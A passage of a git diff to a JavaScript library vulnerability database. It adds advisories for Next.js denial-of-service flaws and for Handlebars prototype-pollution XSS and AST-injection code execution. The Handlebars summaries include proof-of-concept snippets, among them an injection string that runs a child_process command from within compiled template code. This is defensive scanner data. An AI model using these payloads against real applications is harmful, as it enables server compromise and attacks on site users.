possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9521,6 +9716,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9772,6 +9988,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9852,6 +10088,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": { diff --git a/repository/jsrepository.json b/repository/jsrepository.json index 7d64f602..45e2a28c 100644 --- a/repository/jsrepository.json +++ b/repository/jsrepository.json @@ -4408,6 +4408,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = 